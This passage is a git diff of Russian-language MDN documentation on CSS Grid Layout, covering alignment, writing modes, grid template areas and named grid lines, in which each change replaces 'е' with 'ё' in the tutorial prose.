{{cssxref ("align-items")}} ниже. На этот раз мы применяем свойство {{cssxref ("justify-self")}}.</p> -<p>Опять же, значение по умолчанию <code>stretch</code>, за исключением элементов с внутренним соотношением сторон. Это означает, что по умолчанию элементы сетки будут покрывать их площадь сетки, если вы не измените ее, установив выравнивание. Первый элемент в примере демонстрирует это выравнивание по умолчанию:</p> +<p>Опять же, значение по умолчанию <code>stretch</code>, за исключением элементов с внутренним соотношением сторон. Это означает, что по умолчанию элементы сетки будут покрывать их площадь сетки, если вы не измените её, установив выравнивание. Первый элемент в примере демонстрирует это выравнивание по умолчанию:</p> <div id="alignment_3"> <div class="hidden"> @@ -316,7 +316,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <li><code>last baseline</code></li> </ul> -<p>В приведенном ниже примере у меня есть контейнер сетки размером 500 пикселей на 500 пикселей. Я определил 3 строки и столбцы, каждый из 100 пикселей с 10-пиксельным желобом. Это означает, что внутри контейнера сетки есть пространство как в блочном, так и в линейном направлениях.</p> +<p>В приведённом ниже примере у меня есть контейнер сетки размером 500 пикселей на 500 пикселей. Я определил 3 строки и столбцы, каждый из 100 пикселей с 10-пиксельным жёлобом. Это означает, что внутри контейнера сетки есть пространство как в блочном, так и в линейном направлениях.</p> <p>Свойство <code>align-content</code> применяется к контейнеру сетки, поскольку оно работает на всей сетке. Поведение по умолчанию в макете сетки <code>start</code>, поэтому наши дорожки сетки находятся в верхнем левом углу сетки, выровнены по отношению к стартовым линиям сетки:</p> @@ -499,7 +499,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <p>Стоит отметить, что использование этих значений пространственного распределения может привести к увеличению элементов в вашей сетке. Если элемент охватывает более одной дорожки сетки, так как дополнительное пространство добавляется между дорожками, этот предмет должен стать большим, чтобы поглотить пространство. Мы всегда работаем в строгой сетке. Поэтому, если вы решите использовать эти значения, убедитесь, что содержимое ваших треков может справиться с дополнительным пространством или что вы использовали свойства выравнивания для элементов, чтобы заставить их перемещаться в начало, а не растягиваться.</p> -<p>В приведенном ниже изображении я поместил сетку с <code>align-content</code>, со значением <code>start</code> рядом с сеткой, когда значение <code>align-content</code> имеет значение <code>space-between</code>. Вы можете видеть, как элементы 1 и 2, которые охватывают два ряда дорожек, взяты на дополнительной высоте, поскольку они получают дополнительное пространство, добавленное к промежутку между этими двумя дорожками:</p> +<p>В приведённом ниже изображении я поместил сетку с <code>align-content</code>, со значением <code>start</code> рядом с сеткой, когда значение <code>align-content</code> имеет значение <code>space-between</code>. Вы можете видеть, как элементы 1 и 2, которые охватывают два ряда дорожек, взяты на дополнительной высоте, поскольку они получают дополнительное пространство, добавленное к промежутку между этими двумя дорожками:</p> <p><img alt="Demonstrating how items become larger if we use space-between." src="https://mdn.mozillademos.org/files/14729/7_space-between.png" style="height: 534px; width: 1030px;"></p> diff --git a/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html b/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html index a481d519ad..d94570b6f2 100644 --- a/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html +++ b/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html @@ -8,7 +8,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode <h2 id="Логические_и_физические_свойства_и_ценности">Логические и физические свойства и ценности</h2> -<p>CSS полон <strong>физических</strong> слов позиционирования - слева и справа, сверху и снизу. Если мы позиционируем элемент с использованием абсолютного позиционирования, мы используем эти физические ключевые слова в качестве значений смещения, чтобы обжимать элемент вокруг. В нижеприведенном фрагменте кода элемент помещается в 20 пикселей сверху и 30 пикселей слева от контейнера:</p> +<p>CSS полон <strong>физических</strong> слов позиционирования - слева и справа, сверху и снизу. Если мы позиционируем элемент с использованием абсолютного позиционирования, мы используем эти физические ключевые слова в качестве значений смещения, чтобы обжимать элемент вокруг. В нижеприведённом фрагменте кода элемент помещается в 20 пикселей сверху и 30 пикселей слева от контейнера:</p> <pre class="brush:css">.container { position: relative; @@ -25,15 +25,15 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode </div> </pre> -<p>Еще одно место, где вы можете увидеть используемые физические ключевые слова, - это использовать <code>text-align: right</code> выравнивать текст вправо. В CSS есть также физические <strong>свойства</strong>. Мы добавляем поля, дополнения и границы, используя эти физические свойства {{cssxref ("margin-left")}}, {{cssxref ("padding-left")}} и т. д.</p> +<p>Ещё одно место, где вы можете увидеть используемые физические ключевые слова, - это использовать <code>text-align: right</code> выравнивать текст вправо. В CSS есть также физические <strong>свойства</strong>. Мы добавляем поля, дополнения и границы, используя эти физические свойства {{cssxref ("margin-left")}}, {{cssxref ("padding-left")}} и т. д.</p> <p>Мы называем эти ключевые слова и свойства <em>физическими</em>, потому что они относятся к экрану, на который вы смотрите. Слева всегда слева, независимо от того, в каком направлении работает ваш текст.</p> -<p>Это может стать проблемой при разработке сайта, который должен работать на нескольких языках, включая языки с текстом, начинающимся справа, а не слева. Браузеры хорошо справляются с направлением текста и вам даже не нужно работать на языке {{glossary ("rtl")}}, чтобы посмотреть. В приведенном ниже примере у меня есть два абзаца. У одного не установлено {{cssxref ("text-align")}}, второе имеет выравнивание текста (<code>text-align</code>) влево. Я добавил <code>dir = "rtl"</code> в элемент <code>html</code>, который переключает режим записи по умолчанию для документа на английском языке <code>ltr</code>. Вы можете видеть, что первый абзац остается слева направо, из-за оставленного значения выравнивания текста. Второе, однако, переключает направление и текст пробегает справа налево.</p> +<p>Это может стать проблемой при разработке сайта, который должен работать на нескольких языках, включая языки с текстом, начинающимся справа, а не слева. Браузеры хорошо справляются с направлением текста и вам даже не нужно работать на языке {{glossary ("rtl")}}, чтобы посмотреть. В приведённом ниже примере у меня есть два абзаца. У одного не установлено {{cssxref ("text-align")}}, второе имеет выравнивание текста (<code>text-align</code>) влево. Я добавил <code>dir = "rtl"</code> в элемент <code>html</code>, который переключает режим записи по умолчанию для документа на английском языке <code>ltr</code>. Вы можете видеть, что первый абзац остаётся слева направо, из-за оставленного значения выравнивания текста. Второе, однако, переключает направление и текст пробегает справа налево.</p> <p><img alt="A simple example of text direction." src="https://mdn.mozillademos.org/files/14733/8_direction_simple_example.png" style="height: 354px; width: 1136px;"></p> -<p>Это очень простой пример проблемы с физическими значениями и свойствами, которые используются в CSS. Они не позволяют браузеру выполнять работу по переключению режима записи, поскольку они делают предположение, что текст течет слева направо и сверху вниз.</p> +<p>Это очень простой пример проблемы с физическими значениями и свойствами, которые используются в CSS. Они не позволяют браузеру выполнять работу по переключению режима записи, поскольку они делают предположение, что текст течёт слева направо и сверху вниз.</p> <h3 id="Логические_свойства_и_значения">Логические свойства и значения</h3> @@ -41,13 +41,13 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode <h2 id="Block_и_Inline">Block и Inline</h2> -<p>Как только мы начнем заниматься логическими, а не физическими свойствами, мы перестаем видеть мир как слева направо, так и сверху вниз. Нам нужна новая контрольная точка и именно здесь понимание использования <em>блока</em> и <em>встроенных</em> осей, которые мы встретили ранее в руководстве по выравниванию, становится очень полезным. Если вы можете начать видеть макет с точки зрения блочного и встроенного, то, как все работает в сетке, становится намного больше смысла.</p> +<p>Как только мы начнём заниматься логическими, а не физическими свойствами, мы перестаём видеть мир как слева направо, так и сверху вниз. Нам нужна новая контрольная точка и именно здесь понимание использования <em>блока</em> и <em>встроенных</em> осей, которые мы встретили ранее в руководстве по выравниванию, становится очень полезным. Если вы можете начать видеть макет с точки зрения блочного и встроенного, то, как все работает в сетке, становится намного больше смысла.</p> <p><img alt="An image showing the default direction of the Block and Inline Axes." src="https://mdn.mozillademos.org/files/14735/8-horizontal-tb.png" style="height: 256px; width: 500px;"></p> <h2 id="Режимы_записи_CSS">Режимы записи CSS</h2> -<p>Я собираюсь представить здесь еще одну спецификацию, которую я буду использовать в своих примерах: спецификация CSS Writing Modes. Эта спецификация подробно описывает, как мы можем использовать эти разные режимы записи в CSS, а не только для поддержки языков, которые имеют другой режим записи на английском языке, но также и для творческих целей. Я буду использовать свойство {{cssxref ("write-mode")}}, чтобы внести изменения в режим записи, применяемый к нашей сетке, чтобы продемонстрировать, как работают логические значения. Однако, если вы хотите, чтобы вы меняли в режиме записи, я бы рекомендовал вам прочитать Jen Simmons отличную статью о <a href="https://24ways.org/2016/css-writing-modes/">CSS Writing Modes</a>. Это более подробно описано в этой спецификации, чем мы коснемся здесь.</p> +<p>Я собираюсь представить здесь ещё одну спецификацию, которую я буду использовать в своих примерах: спецификация CSS Writing Modes. Эта спецификация подробно описывает, как мы можем использовать эти разные режимы записи в CSS, а не только для поддержки языков, которые имеют другой режим записи на английском языке, но также и для творческих целей. Я буду использовать свойство {{cssxref ("write-mode")}}, чтобы внести изменения в режим записи, применяемый к нашей сетке, чтобы продемонстрировать, как работают логические значения. Однако, если вы хотите, чтобы вы меняли в режиме записи, я бы рекомендовал вам прочитать Jen Simmons отличную статью о <a href="https://24ways.org/2016/css-writing-modes/">CSS Writing Modes</a>. Это более подробно описано в этой спецификации, чем мы коснёмся здесь.</p> <h3 id="writing-mode">writing-mode</h3> @@ -61,7 +61,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode <li><code>sideways-lr</code></li> </ul> -<p>Значение <code>horizontal-tb</code> является значением по умолчанию для текста в Интернете. Это направление, в котором вы читаете это руководство. Другие свойства изменят способ передачи текста в нашем документе, соответствующий различным режимам записи, найденным по всему миру. Опять же, для получения полной информации об этом см. <a href="https://24ways.org/2016/css-writing-modes/">Jen’s article</a>. В качестве простого примера у меня есть два параграфа ниже. Первый использует по умолчанию <code>horizontal-tb</code>, а второй использует <code>vertical-rl</code>. В тексте режима все еще выполняется влево-вправо, однако направление текста вертикально - встроенный текст теперь проходит вниз по странице, сверху вниз.</p> +<p>Значение <code>horizontal-tb</code> является значением по умолчанию для текста в Интернете. Это направление, в котором вы читаете это руководство. Другие свойства изменят способ передачи текста в нашем документе, соответствующий различным режимам записи, найденным по всему миру. Опять же, для получения полной информации об этом см. <a href="https://24ways.org/2016/css-writing-modes/">Jen’s article</a>. В качестве простого примера у меня есть два параграфа ниже. Первый использует по умолчанию <code>horizontal-tb</code>, а второй использует <code>vertical-rl</code>. В тексте режима все ещё выполняется влево-вправо, однако направление текста вертикально - встроенный текст теперь проходит вниз по странице, сверху вниз.</p> <div id="writing_1"> <div class="hidden"> @@ -361,7 +361,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode <h3 id="Странный_порядок_значений_в_свойстве_grid-area">Странный порядок значений в свойстве grid-area</h3> -<p>Вы можете использовать свойство {{cssxref ("grid-area")}}, чтобы указать все четыре строки области сетки как одно значение. Когда люди впервые сталкиваются с этим, они часто удивляются тому, что значения не следуют тому же порядку, что и сокращенное поле, которое работает по часовой стрелке: сверху, справа, внизу, слева.</p> +<p>Вы можете использовать свойство {{cssxref ("grid-area")}}, чтобы указать все четыре строки области сетки как одно значение. Когда люди впервые сталкиваются с этим, они часто удивляются тому, что значения не следуют тому же порядку, что и сокращённое поле, которое работает по часовой стрелке: сверху, справа, внизу, слева.</p> <p>Порядок значений <code>grid-area</code>:</p> @@ -381,7 +381,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode <li><code>right</code></li> </ul> -<p>Это против часовой стрелки! Итак, обратное тому, что мы делаем для полей и заполнения. Как только вы поймете, что <code>grid-area</code> видит мир как "block и inline", вы можете помнить, что мы устанавливаем два запуска, а затем два конца. Когда вы знаете, это становится намного логичнее!</p> +<p>Это против часовой стрелки! Итак, обратное тому, что мы делаем для полей и заполнения. Как только вы поймёте, что <code>grid-area</code> видит мир как "block и inline", вы можете помнить, что мы устанавливаем два запуска, а затем два конца. Когда вы знаете, это становится намного логичнее!</p> <h2 id="Смешанные_режимы_записи_и_макет_сетки">Смешанные режимы записи и макет сетки</h2> @@ -436,7 +436,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode <h3 id="Логические_свойства_для_всего!">Логические свойства для всего!</h3> -<p>Наши новые методы компоновки дают нам возможность использовать эти логические значения для размещения элементов, однако, как только мы начнем объединять их с физическими свойствами, используемыми для полей и отступов, нам нужно помнить, что эти физические свойства не изменятся в соответствии с режимом записи.</p> +<p>Наши новые методы компоновки дают нам возможность использовать эти логические значения для размещения элементов, однако, как только мы начнём объединять их с физическими свойствами, используемыми для полей и отступов, нам нужно помнить, что эти физические свойства не изменятся в соответствии с режимом записи.</p> <p><a href="https://drafts.csswg.org/css-logical/">Спецификация логических свойств CSS</a> имеет целью изменить это и в будущем мы сможем использовать <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Logical_Properties">логические эквиваленты</a> для свойств, такие как {{cssxref ("margin-left")}} и {{cssxref ("margin-right") }}, в нашем CSS. Firefox уже реализовал их, поэтому вы можете попробовать их прямо сейчас в Firefox. Я знаю в будущем, как только эти корабли повсюду, ваши знания «Блокировать и встроить» с помощью Grid означают, что вы точно знаете, как их использовать.</p> diff --git a/files/ru/web/css/css_grid_layout/grid_template_areas/index.html b/files/ru/web/css/css_grid_layout/grid_template_areas/index.html index 2b99c113d1..4081789445 100644 --- a/files/ru/web/css/css_grid_layout/grid_template_areas/index.html +++ b/files/ru/web/css/css_grid_layout/grid_template_areas/index.html @@ -4,18 +4,18 @@ slug: Web/CSS/CSS_Grid_Layout/Grid_Template_Areas translation_of: Web/CSS/CSS_Grid_Layout/Grid_Template_Areas original_slug: Web/CSS/CSS_Grid_Layout/Грид-области --- -<p>В <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">предыдущем обзоре</a> мы рассмотрели грид-линии и то, как с их помощью размещать элементы в гридах. Когда Вы работаете с CSS Grid Layout, у Вас всегда есть грид-линии, поэтому они - быстрый, прямой и надежный способ расположить элементы. Как бы то ни было, существует альтернативный метод, и этот метод можно использовать как в одиночку, так и в сочетании с расположением элементов по грид-линиям. В этом методе элементы располагаются с помощью именованных, заранее определенных грид-областей. Давайте рассмотрим, как он работает, и Вы скоро поймете, почему его называют методом ascii-искусства в концепции макетов на гридах!</p> +<p>В <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">предыдущем обзоре</a> мы рассмотрели грид-линии и то, как с их помощью размещать элементы в гридах. Когда Вы работаете с CSS Grid Layout, у Вас всегда есть грид-линии, поэтому они - быстрый, прямой и надёжный способ расположить элементы. Как бы то ни было, существует альтернативный метод, и этот метод можно использовать как в одиночку, так и в сочетании с расположением элементов по грид-линиям. В этом методе элементы располагаются с помощью именованных, заранее определённых грид-областей. Давайте рассмотрим, как он работает, и Вы скоро поймёте, почему его называют методом ascii-искусства в концепции макетов на гридах!</p> <h2 id="Имя_для_грид-области">Имя для грид-области</h2> -<p>Вы уже знакомы со свойством {{cssxref("grid-area")}}. Это то свойство, которое принимает в качестве значения номера четырех грид-линий, определяющих расположение грид-области.</p> +<p>Вы уже знакомы со свойством {{cssxref("grid-area")}}. Это то свойство, которое принимает в качестве значения номера четырёх грид-линий, определяющих расположение грид-области.</p> <pre class="brush: css">.box1 { grid-area: 1 / 1 / 4 / 2; } </pre> -<p>Что мы делаем, когда задаем все четыре значения? Мы определяем область, ограниченную данными грид-линиями. </p> +<p>Что мы делаем, когда задаём все четыре значения? Мы определяем область, ограниченную данными грид-линиями. </p> <p><img alt="The Grid Area defined by lines" src="https://mdn.mozillademos.org/files/14667/4_Area.png" style="height: 354px; width: 951px;"></p> @@ -30,7 +30,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области <p><img alt="An image showing a simple two column layout with header and footer" src="https://mdn.mozillademos.org/files/14669/4_Layout.png" style="height: 397px; width: 900px;"></p> -<p>С помощью свойства {{cssxref("grid-area")}} мы можем назначить каждой из этих областей свое собственное имя. Именование областей еще не создает никакого макета, однако теперь у нас есть именованные области, которые мы можем в нем использовать.</p> +<p>С помощью свойства {{cssxref("grid-area")}} мы можем назначить каждой из этих областей своё собственное имя. Именование областей ещё не создаёт никакого макета, однако теперь у нас есть именованные области, которые мы можем в нем использовать.</p> <div id="Grid_Area_1"> <pre class="brush: css">.header { @@ -47,7 +47,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области } </pre> -<p>Определив имена, мы можем приступить к созданию макета. На этот раз вместо того, чтобы расположить элементы с помощью номеров линий, заданных для самих элементов, мы создаем весь макет в грид-контейнере.</p> +<p>Определив имена, мы можем приступить к созданию макета. На этот раз вместо того, чтобы расположить элементы с помощью номеров линий, заданных для самих элементов, мы создаём весь макет в грид-контейнере.</p> <pre class="brush: css">.wrapper { display: grid; @@ -93,7 +93,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области <p>{{ EmbedLiveSample('Grid_Area_1', '300', '330') }}</p> </div> -<p>Если мы используем этот метод, то нам не нужно задавать что-то отдельно для грид-элементов, все задается для грид-контейнера. Весь макет описывается значением свойства {{cssxref("grid-template-areas")}}.</p> +<p>Если мы используем этот метод, то нам не нужно задавать что-то отдельно для грид-элементов, все задаётся для грид-контейнера. Весь макет описывается значением свойства {{cssxref("grid-template-areas")}}.</p> <h2 id="Оставляем_ячейку_пустой">Оставляем ячейку пустой</h2> @@ -158,9 +158,9 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области <h2 id="Охватываем_несколько_ячеек">Охватываем несколько ячеек</h2> -<p>В нашем примере каждая из областей охватывает несколько грид-ячеек, и получаем мы подобный эффект за счет того, что через пробел повторяем имя этой грид-области несколько раз. Вы можете добавить дополнительные пробелы, чтобы аккуратно выравнять значения в <code>grid-template-areas</code>. В нашем примере мы пробелами подравняли <code>hd</code> и <code>ft</code> , чтобы они коррелировали с <code>main</code>.</p> +<p>В нашем примере каждая из областей охватывает несколько грид-ячеек, и получаем мы подобный эффект за счёт того, что через пробел повторяем имя этой грид-области несколько раз. Вы можете добавить дополнительные пробелы, чтобы аккуратно выравнять значения в <code>grid-template-areas</code>. В нашем примере мы пробелами подравняли <code>hd</code> и <code>ft</code> , чтобы они коррелировали с <code>main</code>.</p> -<p>Область, которую мы создаем подобными цепочками имен, должна быть прямоугольной. На данном этапе нельзя создать L-образную область. В спецификации говорится, что, возможно, в будущем подобная функциональность добавится. А сейчас мы можем охватывать строки так же легко, как и колонки. Например, давайте сделаем так, чтобы наш сайдбар простирался до конца футера. Для этого поменяем <code>.</code> на <code>sd</code>.</p> +<p>Область, которую мы создаём подобными цепочками имён, должна быть прямоугольной. На данном этапе нельзя создать L-образную область. В спецификации говорится, что, возможно, в будущем подобная функциональность добавится. А сейчас мы можем охватывать строки так же легко, как и колонки. Например, давайте сделаем так, чтобы наш сайдбар простирался до конца футера. Для этого поменяем <code>.</code> на <code>sd</code>.</p> <pre class="brush: css">.header { grid-area: hd; @@ -275,7 +275,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области } </pre> -<p>Внутри медиавыражений мы переопределяем этот макет на двухколонный, а при увеличении свободного пространства — на трехколонный. Обратите внимание, что для широкого макета я оставляю свою девятиколонную трековую сетку, а с помощью <code>grid-template-areas</code> я указываю куда стоит разместить грид-области. </p> +<p>Внутри медиавыражений мы переопределяем этот макет на двухколонный, а при увеличении свободного пространства — на трёхколонный. Обратите внимание, что для широкого макета я оставляю свою девятиколонную трековую сетку, а с помощью <code>grid-template-areas</code> я указываю куда стоит разместить грид-области. </p> <pre class="brush: css">@media (min-width: 500px) { .wrapper { @@ -308,13 +308,13 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области <h2 id="Использование_grid-template-areas_для_элементов_UI">Использование <code>grid-template-areas</code> для элементов UI</h2> -<p>Многие из примеров grid, которые вы найдете в Интернете, предполагают, что вы будете использовать grid для макета главной страницы, однако grid может быть столь же полезна для небольших элементов. Использование {{cssxref ("grid-template-areas")}} может быть особенно приятным, так как в коде легко видеть, как выглядит ваш элемент.</p> +<p>Многие из примеров grid, которые вы найдёте в Интернете, предполагают, что вы будете использовать grid для макета главной страницы, однако grid может быть столь же полезна для небольших элементов. Использование {{cssxref ("grid-template-areas")}} может быть особенно приятным, так как в коде легко видеть, как выглядит ваш элемент.</p> <p>В качестве очень простого примера мы можем создать «медиа-объект». Это компонент с пространством для изображения или другого носителя с одной стороны, а контент - с другой. Изображение может отображаться справа или слева от окна.</p> <p><img alt="Images showing an example media object design" src="https://mdn.mozillademos.org/files/14671/4_Media_objects.png" style="height: 432px; width: 800px;"></p> -<p>Наша сетка представляет собой двухколоночную трековую сетку, со столбцом для изображения размером <code>1fr</code> и текстом <code>3fr</code>. Если вы хотите область с фиксированной шириной изображения, тогда вы можете установить столбец изображения как ширину пикселя и назначить текстовую область <code>1fr</code>. Одна колонка трека <code>1fr</code> затем займет оставшуюся часть пространства.</p> +<p>Наша сетка представляет собой двухколоночную трековую сетку, со столбцом для изображения размером <code>1fr</code> и текстом <code>3fr</code>. Если вы хотите область с фиксированной шириной изображения, тогда вы можете установить столбец изображения как ширину пикселя и назначить текстовую область <code>1fr</code>. Одна колонка трека <code>1fr</code> затем займёт оставшуюся часть пространства.</p> <p>Мы предоставляем области изображения имя области сетки <code>img</code> и содержимое текстовой области, затем мы можем выложить их, используя свойство <code>grid-template-areas</code>.</p> @@ -407,7 +407,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области <p>Рассмотрев различные способы размещения элементов на наших сетках и многие свойства, используемые для определения сетки, самое время взглянуть на пару сокращений, доступных для определения сетки и многое из всего этого в одной строке CSS.</p> -<p>Они могут быстро стать трудными для чтения для других разработчиков или даже для вашего будущего. Однако они являются частью спецификации и, вероятно, вы столкнетесь с ними в примерах или в использовании другими разработчиками, даже если вы решите не использовать их.</p> +<p>Они могут быстро стать трудными для чтения для других разработчиков или даже для вашего будущего. Однако они являются частью спецификации и, вероятно, вы столкнётесь с ними в примерах или в использовании другими разработчиками, даже если вы решите не использовать их.</p> <p>Прежде чем использовать какие-либо сокращения (shorthand), стоит помнить, что shorthand не только позволяют устанавливать множество свойств за один раз, но также действуют, чтобы <strong>сбросить объекты</strong> до их начальных значений, которых вы не используете, или не можете установить в сокращении. Поэтому, если вы используете сокращения, помните, что оно может сбросить все, что вы применили в другом месте.</p> @@ -415,7 +415,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области <h3 id="grid-template"><code>grid-template</code></h3> -<p>Свойство {{cssxref ("grid-template")}} задает следующие свойства:</p> +<p>Свойство {{cssxref ("grid-template")}} задаёт следующие свойства:</p> <ul> <li>{{cssxref("grid-template-rows")}}</li> @@ -425,7 +425,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области <p>Свойство называется явным сокращением сетки, потому что оно устанавливает те вещи, которые вы контролируете, когда вы определяете явную сетку, а не те, которые влияют на любые неявные строки или столбцы, которые могут быть созданы.</p> -<p>Следующий код создает макет, используя {{cssxref ("grid-template")}}, который совпадает с макетом, созданным ранее в этом руководстве.</p> +<p>Следующий код создаёт макет, используя {{cssxref ("grid-template")}}, который совпадает с макетом, созданным ранее в этом руководстве.</p> <pre class="brush: css">.wrapper { display: grid; @@ -443,7 +443,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области <h3 id="grid"><code>grid</code></h3> -<p>Сокращение {{cssxref ("grid")}} идет еще дальше, а также задает свойства, используемые неявной сеткой. Таким образом, вы будете устанавливать:</p> +<p>Сокращение {{cssxref ("grid")}} идёт ещё дальше, а также задаёт свойства, используемые неявной сеткой. Таким образом, вы будете устанавливать:</p> <ul> <li>{{cssxref("grid-template-rows")}}</li> @@ -469,7 +469,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Грид-области <p>Мы снова рассмотрим другие функции, предлагаемые этом сокращением позже в этих руководствах, когда мы рассмотрим автоматическое размещение и свойство <code>grid-auto-flow</code>.</p> -<p>Если вы проработали эти начальные руководства, теперь вы должны иметь возможность создавать сетки с использованием линейного размещения или названных областей. Потратьте некоторое время на создание некоторых общих шаблонов макетов с использованием сетки, в то время как есть много новых терминов для изучения, синтаксис относительно прост. По мере того, как вы разрабатываете примеры, вы, вероятно, придумаете некоторые вопросы и воспользуетесь случаями, которые мы еще не рассмотрели. В остальных этих руководствах мы рассмотрим некоторые детали, включенные в спецификацию, - чтобы вы могли начать создавать с ним расширенные макеты.</p> +<p>Если вы проработали эти начальные руководства, теперь вы должны иметь возможность создавать сетки с использованием линейного размещения или названных областей. Потратьте некоторое время на создание некоторых общих шаблонов макетов с использованием сетки, в то время как есть много новых терминов для изучения, синтаксис относительно прост. По мере того, как вы разрабатываете примеры, вы, вероятно, придумаете некоторые вопросы и воспользуетесь случаями, которые мы ещё не рассмотрели. В остальных этих руководствах мы рассмотрим некоторые детали, включённые в спецификацию, - чтобы вы могли начать создавать с ним расширенные макеты.</p> <section class="Quick_links" id="Quick_Links"> <ol> diff --git a/files/ru/web/css/css_grid_layout/index.html b/files/ru/web/css/css_grid_layout/index.html index d02227c33f..3f345b98b8 100644 --- a/files/ru/web/css/css_grid_layout/index.html +++ b/files/ru/web/css/css_grid_layout/index.html @@ -9,7 +9,7 @@ translation_of: Web/CSS/CSS_Grid_Layout <h2 id="Basic_Example" name="Basic_Example">Базовый пример</h2> -<p>В приведенном ниже примере показана сетка состоящая из трех колонок, в которой минимальная ширина элементов строки установлена в "100px", а максимальная в "auto". Grid-элементы располагаются в сетке линейно.</p> +<p>В приведённом ниже примере показана сетка состоящая из трёх колонок, в которой минимальная ширина элементов строки установлена в "100px", а максимальная в "auto". Grid-элементы располагаются в сетке линейно.</p> <div id="example"> <div class="hidden"> diff --git a/files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html b/files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html index 08e932f0b0..66e8c5ac2d 100644 --- a/files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html +++ b/files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html @@ -3,7 +3,7 @@ title: Layout using named grid lines slug: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines --- -<p>В предыдущих руководствах мы рассматривали размещение элементов по линиям, созданным путем определения треков сетки, а также способы размещения элементов с помощью именованных областей шаблона. В этом руководстве мы рассмотрим, как эти две вещи работают вместе, когда мы используем именование линий. Именование линий очень полезно, но при комбинировании именований и размеров сетки иногда получаются очень запутанный синтаксис. Представленные примеры помогут внести ясность и упростить понимание синтаксиса.</p> +<p>В предыдущих руководствах мы рассматривали размещение элементов по линиям, созданным путём определения треков сетки, а также способы размещения элементов с помощью именованных областей шаблона. В этом руководстве мы рассмотрим, как эти две вещи работают вместе, когда мы используем именование линий. Именование линий очень полезно, но при комбинировании именований и размеров сетки иногда получаются очень запутанный синтаксис. Представленные примеры помогут внести ясность и упростить понимание синтаксиса.</p> <h2 id="Именование_линий_при_определении_сетки">Именование линий при определении сетки</h2> @@ -29,7 +29,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines </pre> </div> -<p>При определении сетки я задаю линиям имена, помещая их внутри квадратных скобок. Можете использовать любые имена, какие вам нравятся. Я задал имена <code>main-start</code> для начала и <code>main-end</code> для конца контейнера, причем как для строк, так и для столбцов. Затем определил центральный блок сетки как <code>content-start</code> и <code>content-end</code>, опять же как для столбцов, так и для строк. Но вам необязательно именовать все линии в вашей сетке, можете именовать только опорные линии вашего макета.</p> +<p>При определении сетки я задаю линиям имена, помещая их внутри квадратных скобок. Можете использовать любые имена, какие вам нравятся. Я задал имена <code>main-start</code> для начала и <code>main-end</code> для конца контейнера, причём как для строк, так и для столбцов. Затем определил центральный блок сетки как <code>content-start</code> и <code>content-end</code>, опять же как для столбцов, так и для строк. Но вам необязательно именовать все линии в вашей сетке, можете именовать только опорные линии вашего макета.</p> <pre class="brush: css">.wrapper { display: grid; @@ -77,15 +77,15 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines <p>Теперь при линейном размещении вы можете смешивать номера строк или их имена. Именование строк полезно при создании адаптивного дизайна, в котором вы переопределяете саму сетку, а не положение содержимого внутри сетки.</p> -<h3 id="Присвоение_линиям_нескольких_имен">Присвоение линиям нескольких имен</h3> +<h3 id="Присвоение_линиям_нескольких_имён">Присвоение линиям нескольких имён</h3> <p>При необходимости можно присвоить строке более одного имени. Например, <code>sidebar-end</code> для обозначении конца области <code>sidebar</code>, и <code>main-start</code> для начала области <code>main</code>. Укажите имена внутри квадратных скобок через пробел <code>[sidebar-end main-start]</code>. В дальнейшем вы можете обращаться к этой строке по любому из этих имен.</p> <h2 id="Неявные_области_сетки_из_именованных_линий">Неявные области сетки из именованных линий</h2> -<p>Ранее уже упоминалось, что вы можете выбирать для линий любые имена. Такое имя является <a href="https://drafts.csswg.org/css-values-4/#custom-idents">custom ident</a> - именем, определяемым автором. При выборе имени вам нужно избегать слов, которые могут использоваться в спецификации, что приведет к путанице - например, <code>span</code>. Идентификаторы не заключаются в кавычки.</p> +<p>Ранее уже упоминалось, что вы можете выбирать для линий любые имена. Такое имя является <a href="https://drafts.csswg.org/css-values-4/#custom-idents">custom ident</a> - именем, определяемым автором. При выборе имени вам нужно избегать слов, которые могут использоваться в спецификации, что приведёт к путанице - например, <code>span</code>. Идентификаторы не заключаются в кавычки.</p> -<p>Хотя вы 